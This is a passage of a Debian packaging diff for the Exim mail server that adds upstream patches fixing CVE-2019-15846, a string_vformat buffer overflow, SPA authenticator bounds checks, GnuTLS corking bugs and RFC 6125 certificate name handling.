+@@ -2958,7 +2978,7 @@ switch(cond_type)
+ int sep = 0;
+ uschar *save_iterate_item = iterate_item;
+
+- DEBUG(D_expand) debug_printf_indent("condition: %s\n", name);
++ DEBUG(D_expand) debug_printf_indent("condition: %s\n", opname);
+
+ while (isspace(*s)) s++;
+ if (*s++ != '{') goto COND_FAILED_CURLY_START; /* }-for-text-editors */
+@@ -2979,7 +2999,7 @@ switch(cond_type)
+ if (!(s = eval_condition(sub[1], resetok, NULL)))
+ {
+ expand_string_message = string_sprintf("%s inside \"%s\" condition",
+- expand_string_message, name);
++ expand_string_message, opname);
+ return NULL;
+ }
+ while (isspace(*s)) s++;
+@@ -2989,7 +3009,7 @@ switch(cond_type)
+ {
+ /* {-for-text-editors */
+ expand_string_message = string_sprintf("missing } at end of condition "
+- "inside \"%s\"", name);
++ "inside \"%s\"", opname);
+ return NULL;
+ }
+
+@@ -3001,11 +3021,11 @@ switch(cond_type)
+ if (!eval_condition(sub[1], resetok, &tempcond))
+ {
+ expand_string_message = string_sprintf("%s inside \"%s\" condition",
+- expand_string_message, name);
++ expand_string_message, opname);
+ iterate_item = save_iterate_item;
+ return NULL;
+ }
+- DEBUG(D_expand) debug_printf_indent("%s: condition evaluated to %s\n", name,
++ DEBUG(D_expand) debug_printf_indent("%s: condition evaluated to %s\n", opname,
+ tempcond? "true":"false");
+
+ if (yield != NULL) *yield = (tempcond == testfor);
+@@ -3098,19 +3118,20 @@ switch(cond_type)
+ /* Unknown condition */
+
+ default:
+- expand_string_message = string_sprintf("unknown condition \"%s\"", name);
+- return NULL;
++ if (!expand_string_message || !*expand_string_message)
++ expand_string_message = string_sprintf("unknown condition \"%s\"", opname);
++ return NULL;
+ } /* End switch on condition type */
+
+ /* Missing braces at start and end of data */
+
+ COND_FAILED_CURLY_START:
+-expand_string_message = string_sprintf("missing { after \"%s\"", name);
++expand_string_message = string_sprintf("missing { after \"%s\"", opname);
+ return NULL;
+
+ COND_FAILED_CURLY_END:
+ expand_string_message = string_sprintf("missing } at end of \"%s\" condition",
+- name);
++ opname);
+ return NULL;
+
+ /* A condition requires code that is not compiled */
+@@ -3120,7 +3141,7 @@ return NULL;
+ !defined(SUPPORT_CRYPTEQ) || !defined(CYRUS_SASLAUTHD_SOCKET)
+ COND_FAILED_NOT_COMPILED:
+ expand_string_message = string_sprintf("support for \"%s\" not compiled",
+- name);
++ opname);
+ return NULL;
+ #endif
+ }
+@@ -3849,6 +3870,56 @@ return x;
+
+
+
++/************************************************/
++/* Comparison operation for sort expansion. We need to avoid
++re-expanding the fields being compared, so need a custom routine.
++
++Arguments:
++ cond_type Comparison operator code
++ leftarg, rightarg Arguments for comparison
++
++Return true iff (leftarg compare rightarg)
++*/
++
++static BOOL
++sortsbefore(int cond_type, BOOL alpha_cond,
++ const uschar * leftarg, const uschar * rightarg)
++{
++int_eximarith_t l_num, r_num;
++
++if (!alpha_cond)
++ {
++ l_num = expanded_string_integer(leftarg, FALSE);
++ if (expand_string_message) return FALSE;
++ r_num = expanded_string_integer(rightarg, FALSE);
++ if (expand_string_message) return FALSE;
++
++ switch (cond_type)
++ {
++ case ECOND_NUM_G: return l_num > r_num;
++ case ECOND_NUM_GE: return l_num >= r_num;
++ case ECOND_NUM_L: return l_num < r_num;
++ case ECOND_NUM_LE: return l_num <= r_num;
++ default: break;
++ }
++ }
++else
++ switch (cond_type)
++ {
++ case ECOND_STR_LT: return Ustrcmp (leftarg, rightarg) < 0;
++ case ECOND_STR_LTI: return strcmpic(leftarg, rightarg) < 0;
++ case ECOND_STR_LE: return Ustrcmp (leftarg, rightarg) <= 0;
++ case ECOND_STR_LEI: return strcmpic(leftarg, rightarg) <= 0;
++ case ECOND_STR_GT: return Ustrcmp (leftarg, rightarg) > 0;
++ case ECOND_STR_GTI: return strcmpic(leftarg, rightarg) > 0;
++ case ECOND_STR_GE: return Ustrcmp (leftarg, rightarg) >= 0;
++ case ECOND_STR_GEI: return strcmpic(leftarg, rightarg) >= 0;
++ default: break;
++ }
++return FALSE; /* should not happen */
++}
++
++
+ /* Return pointer to dewrapped string, with enclosing specified chars removed.
+ The given string is modified on return. Leading whitespace is skipped while
+ looking for the opening wrap character, then the rest is scanned for the trailing
+@@ -3905,7 +3976,7 @@ The element may itself be an object or a
+ Return NULL when the list is empty.
+ */
+
+-uschar *
++static uschar *
+ json_nextinlist(const uschar ** list)
+ {
+ unsigned array_depth = 0, object_depth = 0;
+@@ -6243,9 +6314,10 @@ while (*s != 0)
+
+ case EITEM_SORT:
+ {
++ int cond_type;
+ int sep = 0;
+ const uschar *srclist, *cmp, *xtract;
+- uschar *srcitem;
++ uschar * opname, * srcitem;
+ const uschar *dstlist = NULL, *dstkeylist = NULL;
+ uschar * tmp;
+ uschar *save_iterate_item = iterate_item;
+@@ -6280,6 +6352,25 @@ while (*s != 0)
+ goto EXPAND_FAILED_CURLY;
+ }
+
++ if ((cond_type = identify_operator(&cmp, &opname)) == -1)
++ {
++ if (!expand_string_message)
++ expand_string_message = string_sprintf("unknown condition \"%s\"", s);
++ goto EXPAND_FAILED;
++ }
++ switch(cond_type)
++ {
++ case ECOND_NUM_L: case ECOND_NUM_LE:
++ case ECOND_NUM_G: case ECOND_NUM_GE:
++ case ECOND_STR_GE: case ECOND_STR_GEI: case ECOND_STR_GT: case ECOND_STR_GTI:
++ case ECOND_STR_LE: case ECOND_STR_LEI: case ECOND_STR_LT: case ECOND_STR_LTI:
++ break;
++
++ default:
++ expand_string_message = US"comparator not handled for sort";
++ goto EXPAND_FAILED;
++ }
++
+ while (isspace(*s)) s++;
+ if (*s++ != '{')
+ {
+@@ -6307,11 +6398,10 @@ while (*s != 0)
+ if (skipping) continue;
+
+ while ((srcitem = string_nextinlist(&srclist, &sep, NULL, 0)))
+- {
+- uschar * dstitem;
++ {
++ uschar * srcfield, * dstitem;
+ gstring * newlist = NULL;
+ gstring * newkeylist = NULL;
+- uschar * srcfield;
+
+ DEBUG(D_expand) debug_printf_indent("%s: $item = \"%s\"\n", name, srcitem);
+
+@@ -6332,25 +6422,15 @@ while (*s != 0)
+ while ((dstitem = string_nextinlist(&dstlist, &sep, NULL, 0)))
+ {
+ uschar * dstfield;
+- uschar * expr;
+- BOOL before;
+
+ /* field for comparison */
+ if (!(dstfield = string_nextinlist(&dstkeylist, &sep, NULL, 0)))
+ goto sort_mismatch;
+
+- /* build and run condition string */
+- expr = string_sprintf("%s{%s}{%s}", cmp, srcfield, dstfield);
+-
+- DEBUG(D_expand) debug_printf_indent("%s: cond = \"%s\"\n", name, expr);
+- if (!eval_condition(expr, &resetok, &before))
+- {
+- expand_string_message = string_sprintf("comparison in sort: %s",
+- expr);
+- goto EXPAND_FAILED;
+- }
++ /* String-comparator names start with a letter; numeric names do not */
+
+- if (before)
++ if (sortsbefore(cond_type, isalpha(opname[0]),
++ srcfield, dstfield))
+ {
+ /* New-item sorts before this dst-item. Append new-item,
+ then dst-item, then remainder of dst list. */
diff --git a/debian/patches/78_01-string.c-do-not-interpret-before-0-CVE-2019-15846.patch b/debian/patches/78_01-string.c-do-not-interpret-before-0-CVE-2019-15846.patch
new file mode 100644
index 0000000..38ba939
--- /dev/null
+++ b/debian/patches/78_01-string.c-do-not-interpret-before-0-CVE-2019-15846.patch
@@ -0,0 +1,50 @@
+From 2600301ba6dbac5c9d640c87007a07ee6dcea1f4 Mon Sep 17 00:00:00 2001
+From: "Heiko Schlittermann (HS12-RIPE)" <hs@schlittermann.de>
+Date: Mon, 19 Aug 2019 14:45:48 +0200
+Subject: [PATCH] string.c: do not interpret '\\' before '\0' (CVE-2019-15846)
+
+
+--- a/doc/ChangeLog
++++ b/doc/ChangeLog
+@@ -4,6 +4,11 @@ This document describes *changes* to pre
+ affect Exim's operation, with an unchanged configuration file. For new
+ options, and new features, see the NewStuff file next to this ChangeLog.
+
++Exim version 4.92.2
++-------------------
++
++HS/01 Handle trailing backslash gracefully. (CVE-2019-15846)
++
+
+ Since version 4.92
+ ------------------
+--- a/src/string.c
++++ b/src/string.c
+@@ -224,6 +224,8 @@ interpreted in strings.
+ Arguments:
+ pp points a pointer to the initiating "\" in the string;
+ the pointer gets updated to point to the final character
++ If the backslash is the last character in the string, it
++ is not interpreted.
+ Returns: the value of the character escape
+ */
+
+@@ -236,6 +238,7 @@ const uschar *hex_digits= CUS"0123456789
+ int ch;
+ const uschar *p = *pp;
+ ch = *(++p);
++if (ch == '\0') return **pp;
+ if (isdigit(ch) && ch != '8' && ch != '9')
+ {
+ ch -= '0';
+@@ -1210,8 +1213,8 @@ memcpy(g->s + p, s, count);
+ g->ptr = p + count;
+ return g;
+ }
+-
+-
++
++
+ gstring *
+ string_cat(gstring *string, const uschar *s)
+ {
diff --git a/debian/patches/78_02-Fix-buffer-overflow-in-string_vformat.-Bug-2449.patch b/debian/patches/78_02-Fix-buffer-overflow-in-string_vformat.-Bug-2449.patch
new file mode 100644
index 0000000..6c27517
--- /dev/null
+++ b/debian/patches/78_02-Fix-buffer-overflow-in-string_vformat.-Bug-2449.patch
@@ -0,0 +1,36 @@
+From 478effbfd9c3cc5a627fc671d4bf94d13670d65f Mon Sep 17 00:00:00 2001
+From: Jeremy Harris <jgh146exb@wizmail.org>
+Date: Fri, 27 Sep 2019 12:21:49 +0100
+Subject: [PATCH] Fix buffer overflow in string_vformat. Bug 2449
+
+---
+ src/string.c | 4 ++--
+ test/scripts/0000-Basic/0214 | 11 +++++++++++
+ test/stdout/0214 | 7 +++++++
+ 3 files changed, 20 insertions(+), 2 deletions(-)
+
+diff --git a/src/string.c b/src/string.c
+index c6549bf93..3445f8a42 100644
+--- a/src/string.c
++++ b/src/string.c
+@@ -1132,7 +1132,7 @@ store_reset(g->s + (g->size = g->ptr + 1));
+ Arguments:
+ g the growable-string
+ p current end of data
+- count amount to grow by
++ count amount to grow by, offset from p
+ */
+
+ static void
+@@ -1590,7 +1590,7 @@ while (*fp)
+ }
+ else if (g->ptr >= lim - width)
+ {
+- gstring_grow(g, g->ptr, width - (lim - g->ptr));
++ gstring_grow(g, g->ptr, width);
+ lim = g->size - 1;
+ gp = CS g->s + g->ptr;
+ }
+--
+2.23.0
+
diff --git a/debian/patches/79_01-Fix-SPA-authenticator-checking-client-supplied-data-.patch b/debian/patches/79_01-Fix-SPA-authenticator-checking-client-supplied-data-.patch
new file mode 100644
index 0000000..f0688bb
--- /dev/null
+++ b/debian/patches/79_01-Fix-SPA-authenticator-checking-client-supplied-data-.patch
@@ -0,0 +1,74 @@
+From 6a7edbf6608d10ef0c707c426511e667849518d7 Mon Sep 17 00:00:00 2001
+From: Jeremy Harris <jgh146exb@wizmail.org>
+Date: Tue, 5 May 2020 21:15:34 +0100
+Subject: [PATCH 1/2] Fix SPA authenticator, checking client-supplied data
+ before using it. Bug 2571
+
+(cherry picked from commit 57aa14b216432be381b6295c312065b2fd034f86)
+---
+ doc/ChangeLog | 5 +++++
+ src/auths/spa.c | 22 ++++++++++++++++------
+ 2 files changed, 21 insertions(+), 6 deletions(-)
+
+--- a/doc/ChangeLog
++++ b/doc/ChangeLog
+@@ -62,6 +62,11 @@ JH/28 Fix the timeout on smtp response t
+ [from GIT master]
+
+
++JH/41 Bug 2571: Fix SPA authenticator. Running as a server, an offset supplied
++ by the client was not checked as pointing within response data before
++ being used. A malicious client could thus cause an out-of-bounds read and
++ possibly gain authentication. Fix by adding the check.
++
+
+ Exim version 4.92
+ -----------------
+--- a/src/auths/spa.c
++++ b/src/auths/spa.c
+@@ -139,7 +139,7 @@ SPAAuthChallenge challenge;
+ SPAAuthResponse response;
+ SPAAuthResponse *responseptr = &response;
+ uschar msgbuf[2048];
+-uschar *clearpass;
++uschar *clearpass, *s;
+
+ /* send a 334, MS Exchange style, and grab the client's request,
+ unless we already have it via an initial response. */
+@@ -197,6 +197,13 @@ that causes failure if the size of msgbu
+ char *p = ((char*)responseptr) + IVAL(&responseptr->uUser.offset,0);
+ int len = SVAL(&responseptr->uUser.len,0)/2;
+
++ if (p + len*2 >= CS (responseptr+1))
++ {
++ DEBUG(D_auth)
++ debug_printf("auth_spa_server(): bad uUser spec in response\n");
++ return FAIL;
++ }
++
+ if (len + 1 >= sizeof(msgbuf)) return FAIL;
+ for (i = 0; i < len; ++i)
+ {
+@@ -245,14 +252,17 @@ spa_smb_nt_encrypt (clearpass, challenge
+
+ /* compare NT hash (LM may not be available) */
+
+-if (memcmp(ntRespData,
+- ((unsigned char*)responseptr)+IVAL(&responseptr->ntResponse.offset,0),
+- 24) == 0)
+- /* success. we have a winner. */
++s = (US responseptr) + IVAL(&responseptr->ntResponse.offset,0);
++if (s + 24 >= US (responseptr+1))
+ {
+- return auth_check_serv_cond(ablock);
++ DEBUG(D_auth)
++ debug_printf("auth_spa_server(): bad ntRespData spec in response\n");
++ return FAIL;
+ }
+
++if (memcmp(ntRespData, s, 24) == 0)
++ return auth_check_serv_cond(ablock); /* success. we have a winner. */
++
+ /* Expand server_condition as an authorization check (PH) */
+
+ return FAIL;
diff --git a/debian/patches/79_02-Rework-SPA-fix-to-avoid-overflows.-Bug-2571.patch b/debian/patches/79_02-Rework-SPA-fix-to-avoid-overflows.-Bug-2571.patch
new file mode 100644
index 0000000..5bc18e3
--- /dev/null
+++ b/debian/patches/79_02-Rework-SPA-fix-to-avoid-overflows.-Bug-2571.patch
@@ -0,0 +1,59 @@
+From 5a41d2c2cd2b28a0d1aea21edeaea02bd6db4984 Mon Sep 17 00:00:00 2001
+From: Jeremy Harris <jgh146exb@wizmail.org>
+Date: Wed, 6 May 2020 22:31:25 +0100
+Subject: [PATCH 2/2] Rework SPA fix to avoid overflows. Bug 2571
+
+Amends: 6a7edbf660
+(cherry picked from commit a04174dc2a84ae1008c23b6a7109e7fa3fb7b8b0)
+---
+ src/auths/spa.c | 13 +++++++++----
+ 1 file changed, 9 insertions(+), 4 deletions(-)
+
+diff --git a/src/auths/spa.c b/src/auths/spa.c
+index ed9aff23b..4e3aef808 100644
+--- a/src/auths/spa.c
++++ b/src/auths/spa.c
+@@ -140,6 +140,7 @@ SPAAuthResponse response;
+ SPAAuthResponse *responseptr = &response;
+ uschar msgbuf[2048];
+ uschar *clearpass, *s;
++unsigned off;
+
+ /* send a 334, MS Exchange style, and grab the client's request,
+ unless we already have it via an initial response. */
+@@ -194,10 +195,13 @@ that causes failure if the size of msgbuf is exceeded. ****/
+
+ {
+ int i;
+- char *p = ((char*)responseptr) + IVAL(&responseptr->uUser.offset,0);
++ char * p;
+ int len = SVAL(&responseptr->uUser.len,0)/2;
+
+- if (p + len*2 >= CS (responseptr+1))
++ if ( (off = IVAL(&responseptr->uUser.offset,0)) >= sizeof(SPAAuthResponse)
++ || len >= sizeof(responseptr->buffer)/2
++ || (p = (CS responseptr) + off) + len*2 >= CS (responseptr+1)
++ )
+ {
+ DEBUG(D_auth)
+ debug_printf("auth_spa_server(): bad uUser spec in response\n");
+@@ -252,13 +256,14 @@ spa_smb_nt_encrypt (clearpass, challenge.challengeData, ntRespData);
+
+ /* compare NT hash (LM may not be available) */
+
+-s = (US responseptr) + IVAL(&responseptr->ntResponse.offset,0);
+-if (s + 24 >= US (responseptr+1))
++off = IVAL(&responseptr->ntResponse.offset,0);
++if (off >= sizeof(SPAAuthResponse) - 24)
+ {
+ DEBUG(D_auth)
+ debug_printf("auth_spa_server(): bad ntRespData spec in response\n");
+ return FAIL;
+ }
++s = (US responseptr) + off;
+
+ if (memcmp(ntRespData, s, 24) == 0)
+ return auth_check_serv_cond(ablock); /* success. we have a winner. */
+--
+2.26.2
+
diff --git a/debian/patches/80_01-GnuTLS-fix-hanging-callout-connections.patch b/debian/patches/80_01-GnuTLS-fix-hanging-callout-connections.patch
new file mode 100644
index 0000000..0f36d73
--- /dev/null
+++ b/debian/patches/80_01-GnuTLS-fix-hanging-callout-connections.patch
@@ -0,0 +1,83 @@
+From 97c5e07c220b55d1c506a1798c9ce3ae3105adea Mon Sep 17 00:00:00 2001
+From: Jeremy Harris <jgh146exb@wizmail.org>
+Date: Thu, 13 Feb 2020 16:45:38 +0000
+Subject: [PATCH 4/6] GnuTLS: fix hanging callout connections
+
+Broken-by: 925ac8e4f1
+(cherry picked from commit bd95ffc2ba87fbd3c752df17bc8fd9c01586d45a)
+---
+ doc/ChangeLog | 81 ++++---------------------------------------
+ src/tls-gnu.c | 24 +++++++------
+ 2 files changed, 20 insertions(+), 85 deletions(-)
+
+--- a/doc/ChangeLog
++++ b/doc/ChangeLog
+@@ -67,6 +67,11 @@ JH/41 Bug 2571: Fix SPA authenticator.
+ being used. A malicious client could thus cause an out-of-bounds read and
+ possibly gain authentication. Fix by adding the check.
+
++JH/25 Fix use of concurrent TLS connections under GnuTLS. When a callout was
++ done during a receiving connection, and both used TLS, global info was
++ used rather than per-connection info for tracking the state of data
++ queued for transmission. This could result in a connection hang.
++
+
+ Exim version 4.92
+ -----------------
+--- a/src/tls-gnu.c
++++ b/src/tls-gnu.c
+@@ -124,10 +124,17 @@ typedef struct exim_gnutls_state {
+ enum peer_verify_requirement verify_requirement;
+ int fd_in;
+ int fd_out;
+- BOOL peer_cert_verified;
+- BOOL peer_dane_verified;
+- BOOL trigger_sni_changes;
+- BOOL have_set_peerdn;
++
++ BOOL peer_cert_verified:1;
++ BOOL peer_dane_verified:1;
++ BOOL trigger_sni_changes:1;
++ BOOL have_set_peerdn:1;
++ BOOL xfer_eof:1; /*XXX never gets set! */
++ BOOL xfer_error:1;
++#ifdef SUPPORT_CORK
++ BOOL corked:1;
++#endif
++
+ const struct host_item *host; /* NULL if server */
+ gnutls_x509_crt_t peercert;
+ uschar *peerdn;
+@@ -160,8 +167,6 @@ typedef struct exim_gnutls_state {
+ uschar *xfer_buffer;
+ int xfer_buffer_lwm;
+ int xfer_buffer_hwm;
+- BOOL xfer_eof; /*XXX never gets set! */
+- BOOL xfer_error;
+ } exim_gnutls_state_st;
+
+ static const exim_gnutls_state_st exim_gnutls_state_init = {
+@@ -2790,9 +2795,8 @@ ssize_t outbytes;
+ size_t left = len;
+ exim_gnutls_state_st * state = ct_ctx ? ct_ctx : &state_server;
+ #ifdef SUPPORT_CORK
+-static BOOL corked = FALSE;
+
+-if (more && !corked) gnutls_record_cork(state->session);
++if (more && !state->corked) gnutls_record_cork(state->session);
+ #endif
+
+ DEBUG(D_tls) debug_printf("%s(%p, " SIZE_T_FMT "%s)\n", __FUNCTION__,
+@@ -2833,10 +2837,10 @@ if (len > INT_MAX)
+ }
+
+ #ifdef SUPPORT_CORK
+-if (more != corked)
++if (more != state->corked)
+ {
+ if (!more) (void) gnutls_record_uncork(state->session, 0);
+- corked = more;
++ state->corked = more;
+ }
+ #endif
+
diff --git a/debian/patches/80_02-GnuTLS-tls_write-wait-after-uncorking-the-session.patch b/debian/patches/80_02-GnuTLS-tls_write-wait-after-uncorking-the-session.patch
new file mode 100644
index 0000000..9998618
--- /dev/null
+++ b/debian/patches/80_02-GnuTLS-tls_write-wait-after-uncorking-the-session.patch
@@ -0,0 +1,73 @@
+From 783cb0301d9ceef2748956c3f91762275b7b45e5 Mon Sep 17 00:00:00 2001
+From: "Heiko Schlittermann (HS12-RIPE)" <hs@schlittermann.de>
+Date: Tue, 18 Feb 2020 18:59:49 +0100
+Subject: [PATCH 5/6] GnuTLS: tls_write(): wait after uncorking the session
+
+(cherry picked from commit 8f9adfd36222d4e9e730734e00dffe874073e5b4)
+---
+ src/tls-gnu.c | 34 ++++++++++++++++++++++++++++------
+ 1 file changed, 28 insertions(+), 6 deletions(-)
+
+diff --git a/src/tls-gnu.c b/src/tls-gnu.c
+index 822ad89c6..94a718673 100644
+--- a/src/tls-gnu.c
++++ b/src/tls-gnu.c
+@@ -2835,9 +2835,14 @@ tls_write(void * ct_ctx, const uschar * buff, size_t len, BOOL more)
+ ssize_t outbytes;
+ size_t left = len;
+ exim_gnutls_state_st * state = ct_ctx ? ct_ctx : &state_server;
+-#ifdef SUPPORT_CORK
+
+-if (more && !state->corked) gnutls_record_cork(state->session);
++#ifdef SUPPORT_CORK
++if (more && !state->corked)
++ {
++ DEBUG(D_tls) debug_printf("gnutls_record_cork(session=%p)\n", state->session);
++ gnutls_record_cork(state->session);
++ state->corked = TRUE;
++ }
+ #endif
+
+ DEBUG(D_tls) debug_printf("%s(%p, " SIZE_T_FMT "%s)\n", __FUNCTION__,
+@@ -2853,6 +2858,7 @@ while (left > 0)
+ while (outbytes == GNUTLS_E_AGAIN);
+
+ DEBUG(D_tls) debug_printf("outbytes=" SSIZE_T_FMT "\n", outbytes);
++
+ if (outbytes < 0)
+ {
+ DEBUG(D_tls) debug_printf("%s: gnutls_record_send err\n", __FUNCTION__);
+@@ -2878,10 +2884,26 @@ if (len > INT_MAX)
+ }
+
+ #ifdef SUPPORT_CORK
+-if (more != state->corked)
+- {
+- if (!more) (void) gnutls_record_uncork(state->session, 0);
+- state->corked = more;
++if (!more && state->corked)
++ {
++ DEBUG(D_tls) debug_printf("gnutls_record_uncork(session=%p)\n", state->session);
++ do {
++ do
++ /* We can't use GNUTLS_RECORD_WAIT here, as it retries on
++ GNUTLS_E_AGAIN || GNUTLS_E_INTR, which would break our timeout set by alarm().
++ The GNUTLS_E_AGAIN should not happen ever, as our sockets are blocking anyway.
++ But who knows. (That all relies on the fact that GNUTLS_E_INTR and GNUTLS_E_AGAIN
++ match the EINTR and EAGAIN errno values.) */
++ outbytes = gnutls_record_uncork(state->session, 0);
++ while (outbytes == GNUTLS_E_AGAIN);
++
++ if (outbytes < 0)
++ {
++ record_io_error(state, len, US"uncork", NULL);
++ return -1;
++ }
++ } while (gnutls_record_check_corked(state->session) > 0);
++ state->corked = FALSE;
+ }
+ #endif
+
+--
+2.28.0
+
diff --git a/debian/patches/80_03-GnuTLS-Do-not-care-about-corked-data-when-uncorking.patch b/debian/patches/80_03-GnuTLS-Do-not-care-about-corked-data-when-uncorking.patch
new file mode 100644
index 0000000..da8748f
--- /dev/null
+++ b/debian/patches/80_03-GnuTLS-Do-not-care-about-corked-data-when-uncorking.patch
@@ -0,0 +1,55 @@
+From 3afb07f2c63fb6dc3983b28e7cdaf11fceb741d1 Mon Sep 17 00:00:00 2001
+From: "Heiko Schlittermann (HS12-RIPE)" <hs@schlittermann.de>
+Date: Mon, 2 Mar 2020 22:56:32 +0100
+Subject: [PATCH 6/6] GnuTLS: Do not care about corked data when uncorking
+
+(cherry picked from commit d8d7e3a4162b52382daf8319f221c085c76c5b8f)
+---
+ src/tls-gnu.c | 31 +++++++++++++++----------------
+ 1 file changed, 15 insertions(+), 16 deletions(-)
+
+diff --git a/src/tls-gnu.c b/src/tls-gnu.c
+index 94a718673..2091e44db 100644
+--- a/src/tls-gnu.c
++++ b/src/tls-gnu.c
+@@ -2887,22 +2887,21 @@ if (len > INT_MAX)
+ if (!more && state->corked)
+ {
+ DEBUG(D_tls) debug_printf("gnutls_record_uncork(session=%p)\n", state->session);
+- do {
+- do
+- /* We can't use GNUTLS_RECORD_WAIT here, as it retries on
+- GNUTLS_E_AGAIN || GNUTLS_E_INTR, which would break our timeout set by alarm().
+- The GNUTLS_E_AGAIN should not happen ever, as our sockets are blocking anyway.
+- But who knows. (That all relies on the fact that GNUTLS_E_INTR and GNUTLS_E_AGAIN
+- match the EINTR and EAGAIN errno values.) */
+- outbytes = gnutls_record_uncork(state->session, 0);
+- while (outbytes == GNUTLS_E_AGAIN);
+-
+- if (outbytes < 0)
+- {
+- record_io_error(state, len, US"uncork", NULL);
+- return -1;
+- }
+- } while (gnutls_record_check_corked(state->session) > 0);
++ do
++ /* We can't use GNUTLS_RECORD_WAIT here, as it retries on
++ GNUTLS_E_AGAIN || GNUTLS_E_INTR, which would break our timeout set by alarm().
++ The GNUTLS_E_AGAIN should not happen ever, as our sockets are blocking anyway.
++ But who knows. (That all relies on the fact that GNUTLS_E_INTR and GNUTLS_E_AGAIN
++ match the EINTR and EAGAIN errno values.) */
++ outbytes = gnutls_record_uncork(state->session, 0);
++ while (outbytes == GNUTLS_E_AGAIN);
++
++ if (outbytes < 0)
++ {
++ record_io_error(state, len, US"uncork", NULL);
++ return -1;
++ }
++
+ state->corked = FALSE;
+ }
+ #endif
+--
+2.28.0
+
diff --git a/debian/patches/82_TLS-use-RFC-6125-rules-for-certifucate-name-checks-w.patch b/debian/patches/82_TLS-use-RFC-6125-rules-for-certifucate-name-checks-w.patch
new file mode 100644
index 0000000..10e54e3
--- /dev/null
+++ b/debian/patches/82_TLS-use-RFC-6125-rules-for-certifucate-name-checks-w.patch
@@ -0,0 +1,188 @@
+Description: TLS: use RFC 6125 rules for certificate name checks when
+ CNAMES are present. Bug 2594
+Origin: upstream https://git.exim.org/exim.git/commit/0851a3bbf4667081d47f5d85b6b3a5cb33cbdba6
+Bug: https://bugs.exim.org/show_bug.cgi?id=2594
+Forwarded: not-needed
+Last-Update: 2021-03-02
+
+--- a/doc/ChangeLog
++++ b/doc/ChangeLog
+@@ -41,10 +41,15 @@ JH/10 OpenSSL: Fix aggregation of messag
+
+ JH/11 Harden plaintext authenticator against a badly misconfigured client-send
+ string. Previously it was possible to cause undefined behaviour in a
+ library routine (usually a crash). Found by "zerons".
+
++JH/06 Bug 2594: Change the name used for certificate name checks in the smtp
++ transport. Previously it was the name on the DNS A-record; use instead
++ the head of the CNAME chain leading there (if there is one). This seems
++ to align better with RFC 6125.
++
+
+ JH/18 GnuTLS: fix $tls_out_ocsp under hosts_request_ocsp. Previously the
+ verification result was not updated unless hosts_require_ocsp applied.
+
+ JH/20 Bug 2389: fix server advertising of usable certificates, under GnuTLS in
+--- a/src/host.c
++++ b/src/host.c
+@@ -1966,10 +1966,17 @@ host_item *last = NULL;
+ BOOL temp_error = FALSE;
+ #if HAVE_IPV6
+ int af;
+ #endif
+
++#ifndef DISABLE_TLS
++/* Copy the host name at this point to the value which is used for
++TLS certificate name checking, before anything modifies it. */
++
++host->certname = host->name;
++#endif
++
+ /* Make sure DNS options are set as required. This appears to be necessary in
+ some circumstances when the get..byname() function actually calls the DNS. */
+
+ dns_init((flags & HOST_FIND_QUALIFY_SINGLE) != 0,
+ (flags & HOST_FIND_SEARCH_PARENTS) != 0,
+@@ -2132,10 +2139,13 @@ for (i = 1; i <= times;
+
+ else
+ {
+ host_item *next = store_get(sizeof(host_item));
+ next->name = host->name;
++#ifndef DISABLE_TLS
++ next->certname = host->certname;
++#endif
+ next->mx = host->mx;
+ next->address = text_address;
+ next->port = PORT_NONE;
+ next->status = hstatus_unknown;
+ next->why = hwhy_unknown;
+@@ -2150,16 +2160,16 @@ for (i = 1; i <= times;
+
+ /* If no hosts were found, the address field in the original host block will be
+ NULL. If temp_error is set, at least one of the lookups gave a temporary error,
+ so we pass that back. */
+
+-if (host->address == NULL)
++if (!host->address)
+ {
+ uschar *msg =
+ #ifndef STAND_ALONE
+- (message_id[0] == 0 && smtp_in != NULL)?
+- string_sprintf("no IP address found for host %s (during %s)", host->name,
++ message_id[0] == 0 && smtp_in
++ ? string_sprintf("no IP address found for host %s (during %s)", host->name,
+ smtp_get_connection_info()) :
+ #endif
+ string_sprintf("no IP address found for host %s", host->name);
+
+ HDEBUG(D_host_lookup) debug_printf("%s\n", msg);
+@@ -2277,10 +2287,17 @@ dns_record *rr;
+ host_item *thishostlast = NULL; /* Indicates not yet filled in anything */
+ BOOL v6_find_again = FALSE;
+ BOOL dnssec_fail = FALSE;
+ int i;
+
++#ifndef DISABLE_TLS
++/* Copy the host name at this point to the value which is used for
++TLS certificate name checking, before any CNAME-following modifies it. */
++
++host->certname = host->name;
++#endif
++
+ /* If allow_ip is set, a name which is an IP address returns that value
+ as its address. This is used for MX records when allow_mx_to_ip is set, for
+ those sites that feel they have to flaunt the RFC rules. */
+
+ if (allow_ip && string_is_ip_address(host->name, NULL) != 0)
+--- a/src/structs.h
++++ b/src/structs.h
+@@ -77,18 +77,21 @@ host addresses is done using this struct
+
+ typedef enum {DS_UNK=-1, DS_NO, DS_YES} dnssec_status_t;
+
+ typedef struct host_item {
+ struct host_item *next;
+- const uschar *name; /* Host name */
+- const uschar *address; /* IP address in text form */
+- int port; /* port value in host order (if SRV lookup) */
+- int mx; /* MX value if found via MX records */
+- int sort_key; /* MX*1000 plus random "fraction" */
+- int status; /* Usable, unusable, or unknown */
+- int why; /* Why host is unusable */
+- int last_try; /* Time of last try if known */
++ const uschar *name; /* Host name */
++#ifndef DISABLE_TLS
++ const uschar *certname; /* Name used for certificate checks */
++#endif
++ const uschar *address; /* IP address in text form */
++ int port; /* port value in host order (if SRV lookup) */
++ int mx; /* MX value if found via MX records */
++ int sort_key; /* MX*1000 plus random "fraction" */
++ int status; /* Usable, unusable, or unknown */
++ int why; /* Why host is unusable */
++ int last_try; /* Time of last try if known */
+ dnssec_status_t dnssec;
+ } host_item;
+
+ /* Chain of rewrite rules, read from the rewrite config, or parsed from the
+ rewrite_headers field of a transport. */
+--- a/src/tls-gnu.c
++++ b/src/tls-gnu.c
+@@ -2191,13 +2191,13 @@ tls_client_setup_hostname_checks(host_it
+ {
+ if (verify_check_given_host(CUSS &ob->tls_verify_cert_hostnames, host) == OK)
+ {
+ state->exp_tls_verify_cert_hostnames =
+ #ifdef SUPPORT_I18N
+- string_domain_utf8_to_alabel(host->name, NULL);
++ string_domain_utf8_to_alabel(host->certname, NULL);
+ #else
+- host->name;
++ host->certname;
+ #endif
+ DEBUG(D_tls)
+ debug_printf("TLS: server cert verification includes hostname: \"%s\".\n",
+ state->exp_tls_verify_cert_hostnames);
+ }
+--- a/src/tls-openssl.c
++++ b/src/tls-openssl.c
+@@ -309,18 +309,18 @@ typedef struct tls_ext_ctx_cb {
+ X509_STORE *verify_store; /* non-null if status requested */
+ BOOL verify_required;
+ } client;
+ } u_ocsp;
+ #endif
